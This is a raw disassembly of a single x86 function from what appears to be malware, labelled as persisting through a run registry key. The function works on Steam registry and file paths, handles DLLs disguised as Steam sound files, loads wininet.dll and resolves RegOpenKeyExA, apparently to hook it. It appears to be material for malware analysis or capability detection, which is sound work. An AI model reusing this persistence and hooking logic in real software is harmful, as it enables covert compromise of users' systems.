Function at 0x100015f6
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov dword [ebp - 4], 0
push 8
call fcn.1002081c
add esp, 4
mov dword [ebp - 8], eax
mov edi, eax
mov esi, 0x101935ff
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
push 0
push 0
push 0
push SysStringLen
push 0
push 0x10044208
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x698
call fcn.10020e00
add esp, 0x28
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x100016b5
push ebx
call fcn.10020822
add esp, 4
pop eax
mov dword [ebp - 4], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
mov ebx, 6
call fcn.100013ee
push SysStringLen
push 0
push 0x10044227
push SysStringLen
push 0
push 0x10044229
push SysStringLen
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x100016fa
mov eax, 0x1004422b
push eax
push 6
mov ebx, 0x180
call fcn.10020f60
add esp, 0x4c
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10001724
push ebx
call fcn.10020822
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0
mov ebx, 0x104
call fcn.10021130
add esp, 4
mov dword [ebp - 0x38], eax
push str.cbtff.dll
push dword [ebp - 0x38]
mov ecx, 2
call fcn.10001461
add esp, 8
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10001765
push ebx
call fcn.10020822
add esp, 4
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [0x10196238]
test ebx, ebx
je 0x1000177c
push ebx
call fcn.10020822
add esp, 4
pop eax
mov dword [0x10196238], eax
push 0x10196238
call fcn.10002511
test eax, eax
je 0x1000179e
push 0x10196238
call fcn.10002e90
push 0
mov ebx, 0x104
call fcn.10021130
add esp, 4
mov dword [ebp - 0x38], eax
push str.cbtfff.dll
push dword [ebp - 0x38]
mov ecx, 2
call fcn.10001461
add esp, 8
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x100017db
push ebx
call fcn.10020822
add esp, 4
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [0x10196238]
test ebx, ebx
je 0x100017f2
push ebx
call fcn.10020822
add esp, 4
pop eax
mov dword [0x10196238], eax
push 0x10196238
call fcn.10002511
test eax, eax
je 0x10001814
push 0x10196238
call fcn.10002e90
push str._steamui_sounds_
push dword [ebp - 4]
mov ecx, 2
call fcn.10001461
add esp, 8
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
push 1
push 1
push 1
lea eax, [ebp - 8]
push eax
mov eax, 0x10044254
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.10002ed2
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10001876
push ebx
call fcn.10020822
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10001886
push ebx
call fcn.10020822
add esp, 4
mov ebx, dword [ebp - 8]
call fcn.100014bd
xor ecx, ecx
push eax
lea eax, [ebp - 0xc]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x100018fe
mov ebx, dword [ebp - 8]
call fcn.100014d6
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x100018cc
push 0x270
push 0x4010001
push 4
call fcn.10020828
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x100018e9
push 0x270
push 0x4010001
push 1
call fcn.10020828
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x38], ebx
push dword [ebp - 0x38]
call fcn.10002e90
pop eax
pop ebx
pop ecx
jmp 0x10001897
add esp, 0xc
push 0
mov ebx, 0x104
call fcn.10021130
add esp, 4
mov dword [ebp - 0x38], eax
push str.hkc01.dll
push dword [ebp - 0x38]
mov ecx, 2
call fcn.10001461
add esp, 8
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000193e
push ebx
call fcn.10020822
add esp, 4
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [0x10196238]
test ebx, ebx
je 0x10001955
push ebx
call fcn.10020822
add esp, 4
pop eax
mov dword [0x10196238], eax
push 0x1004422b
push dword [ebp - 4]
call fcn.100014f6
add esp, 8
cmp eax, 0
jne 0x10001a4f
push 0
push 0
push 0
push SysStringLen
push 0
push str.SoftwareClasses_steamShellOpenCommand_
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x698
call fcn.10020e00
add esp, 0x28
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
mov eax, 0x10044290
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, 0x10044290
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.10004763
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x100019f3
push ebx
call fcn.10020822
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10001a03
push ebx
call fcn.10020822
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10001a13
push ebx
call fcn.10020822
add esp, 4
mov eax, dword [ebp - 0x4c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10001a27
push ebx
call fcn.10020822
add esp, 4
pop eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.10004a01
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10001a4b
push ebx
call fcn.10020822
add esp, 4
pop eax
mov dword [ebp - 4], eax
push str.package_beta
push dword [ebp - 4]
mov ecx, 2
call fcn.10001461
add esp, 8
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
call fcn.10002511
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10001a83
push ebx
call fcn.10020822
add esp, 4
cmp dword [ebp - 0x3c], 0
je 0x10001b31
push str.package_beta
push dword [ebp - 4]
mov ecx, 2
call fcn.10001461
add esp, 8
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
call fcn.10002e90
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10001abe
push ebx
call fcn.10020822
add esp, 4
push str._aom.dll
push dword [ebp - 4]
mov ecx, 2
call fcn.10001461
add esp, 8
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
call fcn.10002e90
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10001aef
push ebx
call fcn.10020822
add esp, 4
push str._avif_16.dll
push dword [ebp - 4]
mov ecx, 2
call fcn.10001461
add esp, 8
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
call fcn.10002e90
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10001b20
push ebx
call fcn.10020822
add esp, 4
mov dword [ebp - 0x38], 0
push 0
push dword [ebp - 0x38]
call fcn.10004bad
push str._steamui_sounds_steam_ui86.wav
push dword [ebp - 4]
mov ecx, 2
call fcn.10001461
add esp, 8
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [0x1019623c]
test ebx, ebx
je 0x10001b60
push ebx
call fcn.10020822
add esp, 4
pop eax
mov dword [0x1019623c], eax
push 0x1019623c
call fcn.10002511
test eax, eax
je 0x10001b82
push 0x1019623c
call fcn.10002e90
push str._steamui_sounds_steam_ui64.wav
push dword [ebp - 4]
mov ecx, 2
call fcn.10001461
add esp, 8
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [0x1019623c]
test ebx, ebx
je 0x10001bb1
push ebx
call fcn.10020822
add esp, 4
pop eax
mov dword [0x1019623c], eax
push 0x1019623c
call fcn.10002511
test eax, eax
je 0x10001bd3
push 0x1019623c
call fcn.10002e90
push str._steamui_sounds_steam_ui_86.wav
push dword [ebp - 4]
mov ecx, 2
call fcn.10001461
add esp, 8
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [0x1019623c]
test ebx, ebx
je 0x10001c02
push ebx
call fcn.10020822
add esp, 4
pop eax
mov dword [0x1019623c], eax
mov eax, 0x10044227
push eax
mov ebx, dword [0x10196240]
test ebx, ebx
je 0x10001c21
push ebx
call fcn.10020822
add esp, 4
pop eax
mov dword [0x10196240], eax
push 0
push 0
push 0
push SysStringLen
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_FoldersLocal_AppData
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x698
call fcn.10020e00
add esp, 0x28
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10001c6e
push ebx
call fcn.10020822
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push 0x10044363
push dword [0x10196240]
push str.Tencent
push dword [0x10196240]
push str.Microsoft
push dword [0x10196240]
push dword [ebp - 0x10]
mov ecx, 7
call fcn.10001461
add esp, 0x1c
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [0x10196244]
test ebx, ebx
je 0x10001cbd
push ebx
call fcn.10020822
add esp, 4
pop eax
mov dword [0x10196244], eax
push 0x1019623c
call fcn.10002511
test eax, eax
je 0x10001cf3
push 0x10196244
call fcn.10002511
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x10001cf3
mov eax, 1
jmp 0x10001cf8
mov eax, 0
test eax, eax
je 0x10001d1b
mov dword [ebp - 0x38], 0
push 0
push dword [ebp - 0x38]
push 0x10196244
push 0x1019623c
call fcn.10004cba
push 0x1019623c
call fcn.10002511
test eax, eax
je 0x10001d46
push 0x10196238
call fcn.10002511
test eax, eax
je 0x10001d46
mov eax, 1
jmp 0x10001d4b
mov eax, 0
test eax, eax
je 0x10001f70
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
push 1
lea eax, [ebp - 0x18]
push eax
push 1
lea eax, [ebp - 0x14]
push eax
push 0x10196244
call fcn.10004d04
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10001d86
push ebx
call fcn.10020822
add esp, 4
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
push 1
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
push 0x1019623c
call fcn.10004d04
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x10001dc0
push ebx
call fcn.10020822
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10001dd0
push ebx
call fcn.10020822
add esp, 4
push 0
push 0
push 0
push 0x80000301
push 0
push 1
push SysStringLen
push 0
mov eax, dword [0x10196238]
test eax, eax
jne 0x10001df7
mov eax, 0x1004422b
push eax
push 3
mov ebx, 0x270
call fcn.100211d0
add esp, 0x28
mov dword [ebp - 0x20], eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x20]
push 2
mov ebx, 0x29c
call fcn.10021580
add esp, 0x1c
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10001e46
push ebx
call fcn.10020822
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
push 0x80000301
push 0
push dword [ebp - 0x20]
push 1
mov ebx, 0x278
call fcn.10021a40
add esp, 0x10
push SysStringLen
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x10001e79
mov eax, 0x1004422b
push eax
push 1
mov ebx, 0x9e0
call fcn.10021a60
add esp, 0x10
push edx
push eax
call fcn.10005f08
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], edx
push 0x80000301
push 0
push 3
push 0x80000301
push 0
push 7
push SysStringLen
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push 3
mov ebx, 0x1dc
call fcn.10021b70
add esp, 0x28
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
push SysStringLen
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x10001ee7
mov eax, 0x1004422b
push eax
push 1
mov ebx, 0x160
call fcn.10022410
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
call fcn.10001593
add esp, 8
fstp qword [ebp - 0x5c]
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
call fcn.10001593
add esp, 8
fstp qword [ebp - 0x54]
push dword [ebp - 0x58]
push dword [ebp - 0x5c]
call fcn.100015cb
add esp, 8
fstp qword [ebp - 0x5c]
push dword [ebp - 0x50]
push dword [ebp - 0x54]
call fcn.100015cb
add esp, 8
fstp qword [ebp - 0x54]
fld qword [ebp - 0x5c]
fcomp qword [ebp - 0x54]
fnstsw ax
test ah, 1
je 0x10001f70
mov dword [ebp - 0x38], 0
push 0
push dword [ebp - 0x38]
push 0x10196244
push 0x1019623c
call fcn.10004cba
mov dword [ebp - 0x38], esp
push str.wininet.dll
xor eax, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x10001f9e
push 0xb3e
push 0x4010001
push 6
call fcn.10020828
add esp, 0xc
mov eax, 0x10044395
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
call fcn.100060e3
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10001fc2
push ebx
call fcn.10020822
add esp, 4
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jle 0x100021a1
mov eax, str.addNumbers
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x30]
call fcn.10006a44
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10001ff9
push ebx
call fcn.10020822
add esp, 4
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], 0
push 0
push dword [ebp - 0x38]
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
mov dword [ebp - 0x50], 0
push 0
push dword [ebp - 0x50]
mov dword [ebp - 0x54], 0
push 0
push dword [ebp - 0x54]
mov dword [ebp - 0x58], 0
push 0
push dword [ebp - 0x58]
mov dword [ebp - 0x5c], 0
push 0
push dword [ebp - 0x5c]
mov dword [ebp - 0x60], 0
push 0
push dword [ebp - 0x60]
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
mov dword [ebp - 0x68], 0
push 0
push dword [ebp - 0x68]
mov dword [ebp - 0x6c], 0
push 0
push dword [ebp - 0x6c]
mov dword [ebp - 0x70], 0
push 0
push dword [ebp - 0x70]
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
push dword [ebp - 0x7c]
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
mov dword [ebp - 0x88], 0
push 0
push dword [ebp - 0x88]
mov dword [ebp - 0x8c], 0
push 0
push dword [ebp - 0x8c]
mov dword [ebp - 0x90], 0
push 0
push dword [ebp - 0x90]
mov dword [ebp - 0x94], 0
push 0
push dword [ebp - 0x94]
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov dword [ebp - 0x9c], 0
push 0
push dword [ebp - 0x9c]
mov dword [ebp - 0xa0], 0
push 0
push dword [ebp - 0xa0]
mov dword [ebp - 0xa4], 0
push 0
push dword [ebp - 0xa4]
push 1
push 2
push 1
push 0x6f
push dword [ebp - 0x34]
call fcn.10006c00
fild dword [ebp - 0x30]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
fadd qword [0x101935a8]
fstp qword [ebp - 0x44]
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
push 1
push 0
push 2
push 6
push 0x10006dab
fld qword [ebp - 0x44]
call fcn.10001108
push eax
push 0x10196248
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100021fe
push ebx
call fcn.10020822
add esp, 4
fild dword [ebp - 0x30]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
fadd qword [0x101935b0]
fstp qword [ebp - 0x44]
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
push 1
push 0
push 3
push 6
push 0x10006e4e
fld qword [ebp - 0x44]
call fcn.10001108
push eax
push 0x10196248
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1000225b
push ebx
call fcn.10020822
add esp, 4
fild dword [ebp - 0x30]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
fadd qword [0x101935b8]
fstp qword [ebp - 0x44]
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
push 1
push 0
push 4
push 6
push 0x10006f32
fld qword [ebp - 0x44]
call fcn.10001108
push eax
push 0x10196248
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100022b8
push ebx
call fcn.10020822
add esp, 4
push 0x1000b6a9
mov eax, 0x101935c0
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
mov eax, str.wininet.dll
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
push 0x1019624c
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x100022f7
push ebx
call fcn.10020822
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10002307
push ebx
call fcn.10020822
add esp, 4
cmp dword [ebp - 0x40], 0
je 0x10002457
push 0x10012ece
mov eax, str.RegOpenKeyExA
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
mov eax, str.kernelBase.dll
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
push 0x10196250
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x10002350
push ebx
call fcn.10020822
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10002360
push ebx
call fcn.10020822
add esp, 4
cmp dword [ebp - 0x40], 0
je 0x10002457
push str.ohid
push dword [0x10196240]
push str.steamactive
push dword [0x10196240]
push dword [ebp - 0x10]
mov ecx, 5
call fcn.10001461
add esp, 0x14
mov dword [ebp - 0x38], eax
push SysStringLen
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x100023a6
mov eax, 0x1004422b
push eax
push 1
mov ebx, 0x234
call fcn.10022460
add esp, 0x10
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x100023c9
push ebx
call fcn.10020822
add esp, 4
push str.ohid
push dword [0x10196240]
push str.steamactive
push dword [0x10196240]
push dword [ebp - 0x10]
mov ecx, 5
call fcn.10001461
add esp, 0x14
mov dword [ebp - 0x38], eax
push 0x80000301
push 0
push 7
push SysStringLen
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x10002411
mov eax, 0x1004422b
push eax
push 2
mov ebx, 0x260
call fcn.10022490
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10002434
push ebx
call fcn.10020822
add esp, 4
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
push 0x10012f41
call fcn.10006c39
call fcn.10006cd2
mov eax, 0
jmp 0x10002466
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10002477
push ebx
call fcn.10020822
add esp, 4
mov ebx, dword [ebp - 8]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10002495
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10002491
imul eax, dword [ebx]
jmp 0x10002486
mov ecx, eax
test ecx, ecx
je 0x100024b4
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x100024ad
push ebx
push eax
call fcn.10020822
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1000249b
call fcn.10020822
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x100024cc
push ebx
call fcn.10020822
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x100024dc
push ebx
call fcn.10020822
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x100024ec
push ebx
call fcn.10020822
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x100024fc
push ebx
call fcn.10020822
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x1000250c
push ebx
call fcn.10020822
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret